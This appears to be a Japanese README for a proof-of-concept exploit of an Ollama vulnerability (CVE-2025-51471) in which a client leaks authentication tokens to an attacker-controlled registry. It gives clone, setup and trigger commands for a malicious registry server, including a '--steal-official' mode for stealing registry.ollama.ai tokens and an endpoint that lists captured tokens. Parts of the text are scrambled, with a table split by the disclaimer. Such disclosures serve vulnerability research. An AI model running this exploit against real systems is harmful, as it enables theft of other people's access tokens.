作者: ajtazer
このリポジトリには、Ollama の全バージョン(最新版を含む)に影響する、クロスドメイン認証トークン漏えいの脆弱性 CVE-2025-51471 の Proof of Concept(PoC)が含まれています。
Ollama が 401 Unauthorized で応答する HTTPS サーバーからモデルをプルする際、WWW-Authenticate ヘッダーの realm URL が同じドメインに属するかどうかを検証せずに従います[...]
これにより、攻撃者は以下のことが可能になります:
WWW-Authenticate ヘッダーを含む 401 応答を返すregistry.ollama.ai 上のプライベートモデルにアクセスするpip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
この PoC を短いビデオでデモしました。こちらからご覧いただけます:
注意(macOS HTTPS モード): HTTPS モードを使用する場合は、生成された証明書をキーチェーンに追加するか、
--no-sslを指定して HTTP モードを使用してください。
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Description |
|---|---|
/v2/* | 偽のレジストリエンドポイント(エクスプロイトを発動) |
/v2/token | トークン取得エンドポイント |
/tokens |
この PoC は教育目的および許可されたセキュリティテストのみを対象としています。所有していないシステムに対して使用しないでください。
❤️ を込めて Antigravity で作成
| 取得したすべてのトークンを表示(JSON) |
/health | サーバーのヘルスチェック |